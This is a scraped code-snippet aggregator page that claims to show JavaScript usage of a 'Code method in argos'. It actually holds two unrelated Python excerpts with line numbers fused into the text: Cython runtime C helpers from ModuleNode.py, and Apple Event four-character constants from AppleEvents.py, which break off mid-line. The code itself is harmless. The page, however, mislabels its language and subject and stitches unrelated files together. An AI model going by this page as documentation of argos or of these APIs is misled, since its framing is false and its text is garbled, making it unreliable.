How to use Code method in argos

Best JavaScript code snippet using argos

ModuleNode.py

Source:ModuleNode.py Github

copy

Full Screen

...2486#2487# Runtime support code2488#2489#------------------------------------------------------------------------------------2490streq_utility_code = UtilityCode(2491proto = """2492static CYTHON_INLINE int __Pyx_StrEq(const char *, const char *); /*proto*/2493""",2494impl = """2495static CYTHON_INLINE int __Pyx_StrEq(const char *s1, const char *s2) {2496 while (*s1 != '\\0' && *s1 == *s2) { s1++; s2++; }2497 return *s1 == *s2;2498}2499""")2500#------------------------------------------------------------------------------------2501import_star_utility_code = """2502/* import_all_from is an unexposed function from ceval.c */2503static int2504__Pyx_import_all_from(PyObject *locals, PyObject *v)2505{2506 PyObject *all = __Pyx_GetAttrString(v, "__all__");2507 PyObject *dict, *name, *value;2508 int skip_leading_underscores = 0;2509 int pos, err;2510 if (all == NULL) {2511 if (!PyErr_ExceptionMatches(PyExc_AttributeError))2512 return -1; /* Unexpected error */2513 PyErr_Clear();2514 dict = __Pyx_GetAttrString(v, "__dict__");2515 if (dict == NULL) {2516 if (!PyErr_ExceptionMatches(PyExc_AttributeError))2517 return -1;2518 PyErr_SetString(PyExc_ImportError,2519 "from-import-* object has no __dict__ and no __all__");2520 return -1;2521 }2522#if PY_MAJOR_VERSION < 32523 all = PyObject_CallMethod(dict, (char *)"keys", NULL);2524#else2525 all = PyMapping_Keys(dict);2526#endif2527 Py_DECREF(dict);2528 if (all == NULL)2529 return -1;2530 skip_leading_underscores = 1;2531 }2532 for (pos = 0, err = 0; ; pos++) {2533 name = PySequence_GetItem(all, pos);2534 if (name == NULL) {2535 if (!PyErr_ExceptionMatches(PyExc_IndexError))2536 err = -1;2537 else2538 PyErr_Clear();2539 break;2540 }2541 if (skip_leading_underscores &&2542#if PY_MAJOR_VERSION < 32543 PyString_Check(name) &&2544 PyString_AS_STRING(name)[0] == '_')2545#else2546 PyUnicode_Check(name) &&2547 PyUnicode_AS_UNICODE(name)[0] == '_')2548#endif2549 {2550 Py_DECREF(name);2551 continue;2552 }2553 value = PyObject_GetAttr(v, name);2554 if (value == NULL)2555 err = -1;2556 else if (PyDict_CheckExact(locals))2557 err = PyDict_SetItem(locals, name, value);2558 else2559 err = PyObject_SetItem(locals, name, value);2560 Py_DECREF(name);2561 Py_XDECREF(value);2562 if (err != 0)2563 break;2564 }2565 Py_DECREF(all);2566 return err;2567}2568static int %(IMPORT_STAR)s(PyObject* m) {2569 int i;2570 int ret = -1;2571 char* s;2572 PyObject *locals = 0;2573 PyObject *list = 0;2574#if PY_MAJOR_VERSION >= 32575 PyObject *utf8_name = 0;2576#endif2577 PyObject *name;2578 PyObject *item;2579 locals = PyDict_New(); if (!locals) goto bad;2580 if (__Pyx_import_all_from(locals, m) < 0) goto bad;2581 list = PyDict_Items(locals); if (!list) goto bad;2582 for(i=0; i<PyList_GET_SIZE(list); i++) {2583 name = PyTuple_GET_ITEM(PyList_GET_ITEM(list, i), 0);2584 item = PyTuple_GET_ITEM(PyList_GET_ITEM(list, i), 1);2585#if PY_MAJOR_VERSION >= 32586 utf8_name = PyUnicode_AsUTF8String(name);2587 if (!utf8_name) goto bad;2588 s = PyBytes_AS_STRING(utf8_name);2589 if (%(IMPORT_STAR_SET)s(item, name, s) < 0) goto bad;2590 Py_DECREF(utf8_name); utf8_name = 0;2591#else2592 s = PyString_AsString(name);2593 if (!s) goto bad;2594 if (%(IMPORT_STAR_SET)s(item, name, s) < 0) goto bad;2595#endif2596 }2597 ret = 0;2598bad:2599 Py_XDECREF(locals);2600 Py_XDECREF(list);2601#if PY_MAJOR_VERSION >= 32602 Py_XDECREF(utf8_name);2603#endif2604 return ret;2605}2606""" % {'IMPORT_STAR' : Naming.import_star,2607 'IMPORT_STAR_SET' : Naming.import_star_set }2608refnanny_utility_code = UtilityCode.load_cached("Refnanny", "ModuleSetupCode.c")2609main_method = UtilityCode.load("MainFunction", "Embed.c")2610packed_struct_utility_code = UtilityCode(proto="""2611#if defined(__GNUC__)2612#define __Pyx_PACKED __attribute__((__packed__))2613#else2614#define __Pyx_PACKED2615#endif2616""", impl="", proto_block='utility_code_proto_before_types')...

Full Screen

Full Screen

AppleEvents.py

Source:AppleEvents.py Github

copy

Full Screen

1# Generated from 'AEDataModel.h'2def FOUR_CHAR_CODE(x): return x3typeApplicationBundleID = FOUR_CHAR_CODE('bund')4typeBoolean = FOUR_CHAR_CODE('bool')5typeChar = FOUR_CHAR_CODE('TEXT')6typeSInt16 = FOUR_CHAR_CODE('shor')7typeSInt32 = FOUR_CHAR_CODE('long')8typeUInt32 = FOUR_CHAR_CODE('magn')9typeSInt64 = FOUR_CHAR_CODE('comp')10typeIEEE32BitFloatingPoint = FOUR_CHAR_CODE('sing')11typeIEEE64BitFloatingPoint = FOUR_CHAR_CODE('doub')12type128BitFloatingPoint = FOUR_CHAR_CODE('ldbl')13typeDecimalStruct = FOUR_CHAR_CODE('decm')14typeSMInt = typeSInt1615typeShortInteger = typeSInt1616typeInteger = typeSInt3217typeLongInteger = typeSInt3218typeMagnitude = typeUInt3219typeComp = typeSInt6420typeSMFloat = typeIEEE32BitFloatingPoint21typeShortFloat = typeIEEE32BitFloatingPoint22typeFloat = typeIEEE64BitFloatingPoint23typeLongFloat = typeIEEE64BitFloatingPoint24typeExtended = FOUR_CHAR_CODE('exte')25typeAEList = FOUR_CHAR_CODE('list')26typeAERecord = FOUR_CHAR_CODE('reco')27typeAppleEvent = FOUR_CHAR_CODE('aevt')28typeEventRecord = FOUR_CHAR_CODE('evrc')29typeTrue = FOUR_CHAR_CODE('true')30typeFalse = FOUR_CHAR_CODE('fals')31typeAlias = FOUR_CHAR_CODE('alis')32typeEnumerated = FOUR_CHAR_CODE('enum')33typeType = FOUR_CHAR_CODE('type')34typeAppParameters = FOUR_CHAR_CODE('appa')35typeProperty = FOUR_CHAR_CODE('prop')36typeFSS = FOUR_CHAR_CODE('fss ')37typeFSRef = FOUR_CHAR_CODE('fsrf')38typeFileURL = FOUR_CHAR_CODE('furl')39typeKeyword = FOUR_CHAR_CODE('keyw')40typeSectionH = FOUR_CHAR_CODE('sect')41typeWildCard = FOUR_CHAR_CODE('****')42typeApplSignature = FOUR_CHAR_CODE('sign')43typeQDRectangle = FOUR_CHAR_CODE('qdrt')44typeFixed = FOUR_CHAR_CODE('fixd')45typeProcessSerialNumber = FOUR_CHAR_CODE('psn ')46typeApplicationURL = FOUR_CHAR_CODE('aprl')47typeNull = FOUR_CHAR_CODE('null')48typeSessionID = FOUR_CHAR_CODE('ssid')49typeTargetID = FOUR_CHAR_CODE('targ')50typeDispatcherID = FOUR_CHAR_CODE('dspt')51keyTransactionIDAttr = FOUR_CHAR_CODE('tran')52keyReturnIDAttr = FOUR_CHAR_CODE('rtid')53keyEventClassAttr = FOUR_CHAR_CODE('evcl')54keyEventIDAttr = FOUR_CHAR_CODE('evid')55keyAddressAttr = FOUR_CHAR_CODE('addr')56keyOptionalKeywordAttr = FOUR_CHAR_CODE('optk')57keyTimeoutAttr = FOUR_CHAR_CODE('timo')58keyInteractLevelAttr = FOUR_CHAR_CODE('inte')59keyEventSourceAttr = FOUR_CHAR_CODE('esrc')60keyMissedKeywordAttr = FOUR_CHAR_CODE('miss')61keyOriginalAddressAttr = FOUR_CHAR_CODE('from')62keyAcceptTimeoutAttr = FOUR_CHAR_CODE('actm')63kAEDescListFactorNone = 064kAEDescListFactorType = 465kAEDescListFactorTypeAndSize = 866kAutoGenerateReturnID = -167kAnyTransactionID = 068kAEDataArray = 069kAEPackedArray = 170kAEDescArray = 371kAEKeyDescArray = 472kAEHandleArray = 273kAENormalPriority = 0x0000000074kAEHighPriority = 0x0000000175kAENoReply = 0x0000000176kAEQueueReply = 0x0000000277kAEWaitReply = 0x0000000378kAEDontReconnect = 0x0000008079kAEWantReceipt = 0x0000020080kAENeverInteract = 0x0000001081kAECanInteract = 0x0000002082kAEAlwaysInteract = 0x0000003083kAECanSwitchLayer = 0x0000004084kAEDontRecord = 0x0000100085kAEDontExecute = 0x0000200086kAEProcessNonReplyEvents = 0x0000800087kAEDefaultTimeout = -188kNoTimeOut = -289kAEInteractWithSelf = 090kAEInteractWithLocal = 191kAEInteractWithAll = 292kAEDoNotIgnoreHandler = 0x0000000093kAEIgnoreAppPhacHandler = 0x0000000194kAEIgnoreAppEventHandler = 0x0000000295kAEIgnoreSysPhacHandler = 0x0000000496kAEIgnoreSysEventHandler = 0x0000000897kAEIngoreBuiltInEventHandler = 0x0000001098# kAEDontDisposeOnResume = (long)0x8000000099kAENoDispatch = 0100# kAEUseStandardDispatch = (long)0xFFFFFFFF101keyDirectObject = FOUR_CHAR_CODE('----')102keyErrorNumber = FOUR_CHAR_CODE('errn')103keyErrorString = FOUR_CHAR_CODE('errs')104keyProcessSerialNumber = FOUR_CHAR_CODE('psn ')105keyPreDispatch = FOUR_CHAR_CODE('phac')106keySelectProc = FOUR_CHAR_CODE('selh')107keyAERecorderCount = FOUR_CHAR_CODE('recr')108keyAEVersion = FOUR_CHAR_CODE('vers')109kCoreEventClass = FOUR_CHAR_CODE('aevt')110kAEOpenApplication = FOUR_CHAR_CODE('oapp')111kAEOpenDocuments = FOUR_CHAR_CODE('odoc')112kAEPrintDocuments = FOUR_CHAR_CODE('pdoc')113kAEQuitApplication = FOUR_CHAR_CODE('quit')114kAEAnswer = FOUR_CHAR_CODE('ansr')115kAEApplicationDied = FOUR_CHAR_CODE('obit')116kAEShowPreferences = FOUR_CHAR_CODE('pref')117kAEStartRecording = FOUR_CHAR_CODE('reca')118kAEStopRecording = FOUR_CHAR_CODE('recc')119kAENotifyStartRecording = FOUR_CHAR_CODE('rec1')120kAENotifyStopRecording = FOUR_CHAR_CODE('rec0')121kAENotifyRecording = FOUR_CHAR_CODE('recr')122kAEUnknownSource = 0123kAEDirectCall = 1124kAESameProcess = 2125kAELocalProcess = 3126kAERemoteProcess = 4127cAEList = FOUR_CHAR_CODE('list')128cApplication = FOUR_CHAR_CODE('capp')129cArc = FOUR_CHAR_CODE('carc')130cBoolean = FOUR_CHAR_CODE('bool')131cCell = FOUR_CHAR_CODE('ccel')132cChar = FOUR_CHAR_CODE('cha ')133cColorTable = FOUR_CHAR_CODE('clrt')134cColumn = FOUR_CHAR_CODE('ccol')135cDocument = FOUR_CHAR_CODE('docu')136cDrawingArea = FOUR_CHAR_CODE('cdrw')137cEnumeration = FOUR_CHAR_CODE('enum')138cFile = FOUR_CHAR_CODE('file')139cFixed = FOUR_CHAR_CODE('fixd')140cFixedPoint = FOUR_CHAR_CODE('fpnt')141cFixedRectangle = FOUR_CHAR_CODE('frct')142cGraphicLine = FOUR_CHAR_CODE('glin')143cGraphicObject = FOUR_CHAR_CODE('cgob')144cGraphicShape = FOUR_CHAR_CODE('cgsh')145cGraphicText = FOUR_CHAR_CODE('cgtx')146cGroupedGraphic = FOUR_CHAR_CODE('cpic')147cInsertionLoc = FOUR_CHAR_CODE('insl')148cInsertionPoint = FOUR_CHAR_CODE('cins')149cIntlText = FOUR_CHAR_CODE('itxt')150cIntlWritingCode = FOUR_CHAR_CODE('intl')151cItem = FOUR_CHAR_CODE('citm')152cLine = FOUR_CHAR_CODE('clin')153cLongDateTime = FOUR_CHAR_CODE('ldt ')154cLongFixed = FOUR_CHAR_CODE('lfxd')155cLongFixedPoint = FOUR_CHAR_CODE('lfpt')156cLongFixedRectangle = FOUR_CHAR_CODE('lfrc')157cLongInteger = FOUR_CHAR_CODE('long')158cLongPoint = FOUR_CHAR_CODE('lpnt')159cLongRectangle = FOUR_CHAR_CODE('lrct')160cMachineLoc = FOUR_CHAR_CODE('mLoc')161cMenu = FOUR_CHAR_CODE('cmnu')162cMenuItem = FOUR_CHAR_CODE('cmen')163cObject = FOUR_CHAR_CODE('cobj')164cObjectSpecifier = FOUR_CHAR_CODE('obj ')165cOpenableObject = FOUR_CHAR_CODE('coob')166cOval = FOUR_CHAR_CODE('covl')167cParagraph = FOUR_CHAR_CODE('cpar')168cPICT = FOUR_CHAR_CODE('PICT')169cPixel = FOUR_CHAR_CODE('cpxl')170cPixelMap = FOUR_CHAR_CODE('cpix')171cPolygon = FOUR_CHAR_CODE('cpgn')172cProperty = FOUR_CHAR_CODE('prop')173cQDPoint = FOUR_CHAR_CODE('QDpt')174cQDRectangle = FOUR_CHAR_CODE('qdrt')175cRectangle = FOUR_CHAR_CODE('crec')176cRGBColor = FOUR_CHAR_CODE('cRGB')177cRotation = FOUR_CHAR_CODE('trot')178cRoundedRectangle = FOUR_CHAR_CODE('crrc')179cRow = FOUR_CHAR_CODE('crow')180cSelection = FOUR_CHAR_CODE('csel')181cShortInteger = FOUR_CHAR_CODE('shor')182cTable = FOUR_CHAR_CODE('ctbl')183cText = FOUR_CHAR_CODE('ctxt')184cTextFlow = FOUR_CHAR_CODE('cflo')185cTextStyles = FOUR_CHAR_CODE('tsty')186cType = FOUR_CHAR_CODE('type')187cVersion = FOUR_CHAR_CODE('vers')188cWindow = FOUR_CHAR_CODE('cwin')189cWord = FOUR_CHAR_CODE('cwor')190enumArrows = FOUR_CHAR_CODE('arro')191enumJustification = FOUR_CHAR_CODE('just')192enumKeyForm = FOUR_CHAR_CODE('kfrm')193enumPosition = FOUR_CHAR_CODE('posi')194enumProtection = FOUR_CHAR_CODE('prtn')195enumQuality = FOUR_CHAR_CODE('qual')196enumSaveOptions = FOUR_CHAR_CODE('savo')197enumStyle = FOUR_CHAR_CODE('styl')198enumTransferMode = FOUR_CHAR_CODE('tran')199formUniqueID = FOUR_CHAR_CODE('ID ')200kAEAbout = FOUR_CHAR_CODE('abou')201kAEAfter = FOUR_CHAR_CODE('afte')202kAEAliasSelection = FOUR_CHAR_CODE('sali')203kAEAllCaps = FOUR_CHAR_CODE('alcp')204kAEArrowAtEnd = FOUR_CHAR_CODE('aren')205kAEArrowAtStart = FOUR_CHAR_CODE('arst')206kAEArrowBothEnds = FOUR_CHAR_CODE('arbo')207kAEAsk = FOUR_CHAR_CODE('ask ')208kAEBefore = FOUR_CHAR_CODE('befo')209kAEBeginning = FOUR_CHAR_CODE('bgng')210kAEBeginsWith = FOUR_CHAR_CODE('bgwt')211kAEBeginTransaction = FOUR_CHAR_CODE('begi')212kAEBold = FOUR_CHAR_CODE('bold')213kAECaseSensEquals = FOUR_CHAR_CODE('cseq')214kAECentered = FOUR_CHAR_CODE('cent')215kAEChangeView = FOUR_CHAR_CODE('view')216kAEClone = FOUR_CHAR_CODE('clon')217kAEClose = FOUR_CHAR_CODE('clos')218kAECondensed = FOUR_CHAR_CODE('cond')219kAEContains = FOUR_CHAR_CODE('cont')220kAECopy = FOUR_CHAR_CODE('copy')221kAECoreSuite = FOUR_CHAR_CODE('core')222kAECountElements = FOUR_CHAR_CODE('cnte')223kAECreateElement = FOUR_CHAR_CODE('crel')224kAECreatePublisher = FOUR_CHAR_CODE('cpub')225kAECut = FOUR_CHAR_CODE('cut ')226kAEDelete = FOUR_CHAR_CODE('delo')227kAEDoObjectsExist = FOUR_CHAR_CODE('doex')228kAEDoScript = FOUR_CHAR_CODE('dosc')229kAEDrag = FOUR_CHAR_CODE('drag')230kAEDuplicateSelection = FOUR_CHAR_CODE('sdup')231kAEEditGraphic = FOUR_CHAR_CODE('edit')232kAEEmptyTrash = FOUR_CHAR_CODE('empt')233kAEEnd = FOUR_CHAR_CODE('end ')234kAEEndsWith = FOUR_CHAR_CODE('ends')235kAEEndTransaction = FOUR_CHAR_CODE('endt')236kAEEquals = FOUR_CHAR_CODE('= ')237kAEExpanded = FOUR_CHAR_CODE('pexp')238kAEFast = FOUR_CHAR_CODE('fast')239kAEFinderEvents = FOUR_CHAR_CODE('FNDR')240kAEFormulaProtect = FOUR_CHAR_CODE('fpro')241kAEFullyJustified = FOUR_CHAR_CODE('full')242kAEGetClassInfo = FOUR_CHAR_CODE('qobj')243kAEGetData = FOUR_CHAR_CODE('getd')244kAEGetDataSize = FOUR_CHAR_CODE('dsiz')245kAEGetEventInfo = FOUR_CHAR_CODE('gtei')246kAEGetInfoSelection = FOUR_CHAR_CODE('sinf')247kAEGetPrivilegeSelection = FOUR_CHAR_CODE('sprv')248kAEGetSuiteInfo = FOUR_CHAR_CODE('gtsi')249kAEGreaterThan = FOUR_CHAR_CODE('> ')250kAEGreaterThanEquals = FOUR_CHAR_CODE('>= ')251kAEGrow = FOUR_CHAR_CODE('grow')252kAEHidden = FOUR_CHAR_CODE('hidn')253kAEHiQuality = FOUR_CHAR_CODE('hiqu')254kAEImageGraphic = FOUR_CHAR_CODE('imgr')255kAEIsUniform = FOUR_CHAR_CODE('isun')256kAEItalic = FOUR_CHAR_CODE('ital')257kAELeftJustified = FOUR_CHAR_CODE('left')258kAELessThan = FOUR_CHAR_CODE('< ')259kAELessThanEquals = FOUR_CHAR_CODE('<= ')260kAELowercase = FOUR_CHAR_CODE('lowc')261kAEMakeObjectsVisible = FOUR_CHAR_CODE('mvis')262kAEMiscStandards = FOUR_CHAR_CODE('misc')263kAEModifiable = FOUR_CHAR_CODE('modf')264kAEMove = FOUR_CHAR_CODE('move')265kAENo = FOUR_CHAR_CODE('no ')266kAENoArrow = FOUR_CHAR_CODE('arno')267kAENonmodifiable = FOUR_CHAR_CODE('nmod')268kAEOpen = FOUR_CHAR_CODE('odoc')269kAEOpenSelection = FOUR_CHAR_CODE('sope')270kAEOutline = FOUR_CHAR_CODE('outl')271kAEPageSetup = FOUR_CHAR_CODE('pgsu')272kAEPaste = FOUR_CHAR_CODE('past')273kAEPlain = FOUR_CHAR_CODE('plan')274kAEPrint = FOUR_CHAR_CODE('pdoc')275kAEPrintSelection = FOUR_CHAR_CODE('spri')276kAEPrintWindow = FOUR_CHAR_CODE('pwin')277kAEPutAwaySelection = FOUR_CHAR_CODE('sput')278kAEQDAddOver = FOUR_CHAR_CODE('addo')279kAEQDAddPin = FOUR_CHAR_CODE('addp')280kAEQDAdMax = FOUR_CHAR_CODE('admx')281kAEQDAdMin = FOUR_CHAR_CODE('admn')282kAEQDBic = FOUR_CHAR_CODE('bic ')283kAEQDBlend = FOUR_CHAR_CODE('blnd')284kAEQDCopy = FOUR_CHAR_CODE('cpy ')285kAEQDNotBic = FOUR_CHAR_CODE('nbic')286kAEQDNotCopy = FOUR_CHAR_CODE('ncpy')287kAEQDNotOr = FOUR_CHAR_CODE('ntor')288kAEQDNotXor = FOUR_CHAR_CODE('nxor')289kAEQDOr = FOUR_CHAR_CODE('or ')290kAEQDSubOver = FOUR_CHAR_CODE('subo')291kAEQDSubPin = FOUR_CHAR_CODE('subp')292kAEQDSupplementalSuite = FOUR_CHAR_CODE('qdsp')293kAEQDXor = FOUR_CHAR_CODE('xor ')294kAEQuickdrawSuite = FOUR_CHAR_CODE('qdrw')295kAEQuitAll = FOUR_CHAR_CODE('quia')296kAERedo = FOUR_CHAR_CODE('redo')297kAERegular = FOUR_CHAR_CODE('regl')298kAEReopenApplication = FOUR_CHAR_CODE('rapp')299kAEReplace = FOUR_CHAR_CODE('rplc')300kAERequiredSuite = FOUR_CHAR_CODE('reqd')301kAERestart = FOUR_CHAR_CODE('rest')302kAERevealSelection = FOUR_CHAR_CODE('srev')303kAERevert = FOUR_CHAR_CODE('rvrt')304kAERightJustified = FOUR_CHAR_CODE('rght')305kAESave = FOUR_CHAR_CODE('save')306kAESelect = FOUR_CHAR_CODE('slct')307kAESetData = FOUR_CHAR_CODE('setd')308kAESetPosition = FOUR_CHAR_CODE('posn')309kAEShadow = FOUR_CHAR_CODE('shad')310kAEShowClipboard = FOUR_CHAR_CODE('shcl')311kAEShutDown = FOUR_CHAR_CODE('shut')312kAESleep = FOUR_CHAR_CODE('slep')313kAESmallCaps = FOUR_CHAR_CODE('smcp')314kAESpecialClassProperties = FOUR_CHAR_CODE('c@#!')315kAEStrikethrough = FOUR_CHAR_CODE('strk')316kAESubscript = FOUR_CHAR_CODE('sbsc')317kAESuperscript = FOUR_CHAR_CODE('spsc')318kAETableSuite = FOUR_CHAR_CODE('tbls')319kAETextSuite = FOUR_CHAR_CODE('TEXT')320kAETransactionTerminated = FOUR_CHAR_CODE('ttrm')321kAEUnderline = FOUR_CHAR_CODE('undl')322kAEUndo = FOUR_CHAR_CODE('undo')323kAEWholeWordEquals = FOUR_CHAR_CODE('wweq')324kAEYes = FOUR_CHAR_CODE('yes ')325kAEZoom = FOUR_CHAR_CODE('zoom')326kAEMouseClass = FOUR_CHAR_CODE('mous')327kAEDown = FOUR_CHAR_CODE('down')328kAEUp = FOUR_CHAR_CODE('up ')329kAEMoved = FOUR_CHAR_CODE('move')330kAEStoppedMoving = FOUR_CHAR_CODE('stop')331kAEWindowClass = FOUR_CHAR_CODE('wind')332kAEUpdate = FOUR_CHAR_CODE('updt')333kAEActivate = FOUR_CHAR_CODE('actv')334kAEDeactivate = FOUR_CHAR_CODE('dact')335kAECommandClass = FOUR_CHAR_CODE('cmnd')336kAEKeyClass = FOUR_CHAR_CODE('keyc')337kAERawKey = FOUR_CHAR_CODE('rkey')338kAEVirtualKey = FOUR_CHAR_CODE('keyc')339kAENavigationKey = FOUR_CHAR_CODE('nave')340kAEAutoDown = FOUR_CHAR_CODE('auto')341kAEApplicationClass = FOUR_CHAR_CODE('appl')342kAESuspend = FOUR_CHAR_CODE('susp')343kAEResume = FOUR_CHAR_CODE('rsme')344kAEDiskEvent = FOUR_CHAR_CODE('disk')345kAENullEvent = FOUR_CHAR_CODE('null')346kAEWakeUpEvent = FOUR_CHAR_CODE('wake')347kAEScrapEvent = FOUR_CHAR_CODE('scrp')348kAEHighLevel = FOUR_CHAR_CODE('high')349keyAEAngle = FOUR_CHAR_CODE('kang')350keyAEArcAngle = FOUR_CHAR_CODE('parc')351keyAEBaseAddr = FOUR_CHAR_CODE('badd')352keyAEBestType = FOUR_CHAR_CODE('pbst')353keyAEBgndColor = FOUR_CHAR_CODE('kbcl')354keyAEBgndPattern = FOUR_CHAR_CODE('kbpt')355keyAEBounds = FOUR_CHAR_CODE('pbnd')356keyAECellList = FOUR_CHAR_CODE('kclt')357keyAEClassID = FOUR_CHAR_CODE('clID')358keyAEColor = FOUR_CHAR_CODE('colr')359keyAEColorTable = FOUR_CHAR_CODE('cltb')360keyAECurveHeight = FOUR_CHAR_CODE('kchd')361keyAECurveWidth = FOUR_CHAR_CODE('kcwd')362keyAEDashStyle = FOUR_CHAR_CODE('pdst')363keyAEData = FOUR_CHAR_CODE('data')364keyAEDefaultType = FOUR_CHAR_CODE('deft')365keyAEDefinitionRect = FOUR_CHAR_CODE('pdrt')366keyAEDescType = FOUR_CHAR_CODE('dstp')367keyAEDestination = FOUR_CHAR_CODE('dest')368keyAEDoAntiAlias = FOUR_CHAR_CODE('anta')369keyAEDoDithered = FOUR_CHAR_CODE('gdit')370keyAEDoRotate = FOUR_CHAR_CODE('kdrt')371keyAEDoScale = FOUR_CHAR_CODE('ksca')372keyAEDoTranslate = FOUR_CHAR_CODE('ktra')373keyAEEditionFileLoc = FOUR_CHAR_CODE('eloc')374keyAEElements = FOUR_CHAR_CODE('elms')375keyAEEndPoint = FOUR_CHAR_CODE('pend')376keyAEEventClass = FOUR_CHAR_CODE('evcl')377keyAEEventID = FOUR_CHAR_CODE('evti')378keyAEFile = FOUR_CHAR_CODE('kfil')379keyAEFileType = FOUR_CHAR_CODE('fltp')380keyAEFillColor = FOUR_CHAR_CODE('flcl')381keyAEFillPattern = FOUR_CHAR_CODE('flpt')382keyAEFlipHorizontal = FOUR_CHAR_CODE('kfho')383keyAEFlipVertical = FOUR_CHAR_CODE('kfvt')384keyAEFont = FOUR_CHAR_CODE('font')385keyAEFormula = FOUR_CHAR_CODE('pfor')386keyAEGraphicObjects = FOUR_CHAR_CODE('gobs')387keyAEID = FOUR_CHAR_CODE('ID ')388keyAEImageQuality = FOUR_CHAR_CODE('gqua')389keyAEInsertHere = FOUR_CHAR_CODE('insh')390keyAEKeyForms = FOUR_CHAR_CODE('keyf')391keyAEKeyword = FOUR_CHAR_CODE('kywd')392keyAELevel = FOUR_CHAR_CODE('levl')393keyAELineArrow = FOUR_CHAR_CODE('arro')394keyAEName = FOUR_CHAR_CODE('pnam')395keyAENewElementLoc = FOUR_CHAR_CODE('pnel')396keyAEObject = FOUR_CHAR_CODE('kobj')397keyAEObjectClass = FOUR_CHAR_CODE('kocl')398keyAEOffStyles = FOUR_CHAR_CODE('ofst')399keyAEOnStyles = FOUR_CHAR_CODE('onst')400keyAEParameters = FOUR_CHAR_CODE('prms')401keyAEParamFlags = FOUR_CHAR_CODE('pmfg')402keyAEPenColor = FOUR_CHAR_CODE('ppcl')403keyAEPenPattern = FOUR_CHAR_CODE('pppa')404keyAEPenWidth = FOUR_CHAR_CODE('ppwd')405keyAEPixelDepth = FOUR_CHAR_CODE('pdpt')406keyAEPixMapMinus = FOUR_CHAR_CODE('kpmm')407keyAEPMTable = FOUR_CHAR_CODE('kpmt')408keyAEPointList = FOUR_CHAR_CODE('ptlt')409keyAEPointSize = FOUR_CHAR_CODE('ptsz')410keyAEPosition = FOUR_CHAR_CODE('kpos')411keyAEPropData = FOUR_CHAR_CODE('prdt')412keyAEProperties = FOUR_CHAR_CODE('qpro')413keyAEProperty = FOUR_CHAR_CODE('kprp')414keyAEPropFlags = FOUR_CHAR_CODE('prfg')415keyAEPropID = FOUR_CHAR_CODE('prop')416keyAEProtection = FOUR_CHAR_CODE('ppro')417keyAERenderAs = FOUR_CHAR_CODE('kren')418keyAERequestedType = FOUR_CHAR_CODE('rtyp')419keyAEResult = FOUR_CHAR_CODE('----')420keyAEResultInfo = FOUR_CHAR_CODE('rsin')421keyAERotation = FOUR_CHAR_CODE('prot')422keyAERotPoint = FOUR_CHAR_CODE('krtp')423keyAERowList = FOUR_CHAR_CODE('krls')424keyAESaveOptions = FOUR_CHAR_CODE('savo')425keyAEScale = FOUR_CHAR_CODE('pscl')426keyAEScriptTag = FOUR_CHAR_CODE('psct')427keyAEShowWhere = FOUR_CHAR_CODE('show')428keyAEStartAngle = FOUR_CHAR_CODE('pang')429keyAEStartPoint = FOUR_CHAR_CODE('pstp')430keyAEStyles = FOUR_CHAR_CODE('ksty')431keyAESuiteID = FOUR_CHAR_CODE('suit')432keyAEText = FOUR_CHAR_CODE('ktxt')433keyAETextColor = FOUR_CHAR_CODE('ptxc')434keyAETextFont = FOUR_CHAR_CODE('ptxf')435keyAETextPointSize = FOUR_CHAR_CODE('ptps')436keyAETextStyles = FOUR_CHAR_CODE('txst')437keyAETextLineHeight = FOUR_CHAR_CODE('ktlh')438keyAETextLineAscent = FOUR_CHAR_CODE('ktas')439keyAETheText = FOUR_CHAR_CODE('thtx')440keyAETransferMode = FOUR_CHAR_CODE('pptm')441keyAETranslation = FOUR_CHAR_CODE('ptrs')442keyAETryAsStructGraf = FOUR_CHAR_CODE('toog')443keyAEUniformStyles = FOUR_CHAR_CODE('ustl')444keyAEUpdateOn = FOUR_CHAR_CODE('pupd')445keyAEUserTerm = FOUR_CHAR_CODE('utrm')446keyAEWindow = FOUR_CHAR_CODE('wndw')447keyAEWritingCode = FOUR_CHAR_CODE('wrcd')448keyMiscellaneous = FOUR_CHAR_CODE('fmsc')449keySelection = FOUR_CHAR_CODE('fsel')450keyWindow = FOUR_CHAR_CODE('kwnd')451keyWhen = FOUR_CHAR_CODE('when')452keyWhere = FOUR_CHAR_CODE('wher')453keyModifiers = FOUR_CHAR_CODE('mods')454keyKey = FOUR_CHAR_CODE('key ')455keyKeyCode = FOUR_CHAR_CODE('code')456keyKeyboard = FOUR_CHAR_CODE('keyb')457keyDriveNumber = FOUR_CHAR_CODE('drv#')458keyErrorCode = FOUR_CHAR_CODE('err#')459keyHighLevelClass = FOUR_CHAR_CODE('hcls')460keyHighLevelID = FOUR_CHAR_CODE('hid ')461pArcAngle = FOUR_CHAR_CODE('parc')462pBackgroundColor = FOUR_CHAR_CODE('pbcl')463pBackgroundPattern = FOUR_CHAR_CODE('pbpt')464pBestType = FOUR_CHAR_CODE('pbst')465pBounds = FOUR_CHAR_CODE('pbnd')466pClass = FOUR_CHAR_CODE('pcls')467pClipboard = FOUR_CHAR_CODE('pcli')468pColor = FOUR_CHAR_CODE('colr')469pColorTable = FOUR_CHAR_CODE('cltb')470pContents = FOUR_CHAR_CODE('pcnt')471pCornerCurveHeight = FOUR_CHAR_CODE('pchd')472pCornerCurveWidth = FOUR_CHAR_CODE('pcwd')473pDashStyle = FOUR_CHAR_CODE('pdst')474pDefaultType = FOUR_CHAR_CODE('deft')475pDefinitionRect = FOUR_CHAR_CODE('pdrt')476pEnabled = FOUR_CHAR_CODE('enbl')477pEndPoint = FOUR_CHAR_CODE('pend')478pFillColor = FOUR_CHAR_CODE('flcl')479pFillPattern = FOUR_CHAR_CODE('flpt')480pFont = FOUR_CHAR_CODE('font')481pFormula = FOUR_CHAR_CODE('pfor')482pGraphicObjects = FOUR_CHAR_CODE('gobs')483pHasCloseBox = FOUR_CHAR_CODE('hclb')484pHasTitleBar = FOUR_CHAR_CODE('ptit')485pID = FOUR_CHAR_CODE('ID ')486pIndex = FOUR_CHAR_CODE('pidx')487pInsertionLoc = FOUR_CHAR_CODE('pins')488pIsFloating = FOUR_CHAR_CODE('isfl')489pIsFrontProcess = FOUR_CHAR_CODE('pisf')490pIsModal = FOUR_CHAR_CODE('pmod')491pIsModified = FOUR_CHAR_CODE('imod')492pIsResizable = FOUR_CHAR_CODE('prsz')493pIsStationeryPad = FOUR_CHAR_CODE('pspd')494pIsZoomable = FOUR_CHAR_CODE('iszm')495pIsZoomed = FOUR_CHAR_CODE('pzum')496pItemNumber = FOUR_CHAR_CODE('itmn')497pJustification = FOUR_CHAR_CODE('pjst')498pLineArrow = FOUR_CHAR_CODE('arro')499pMenuID = 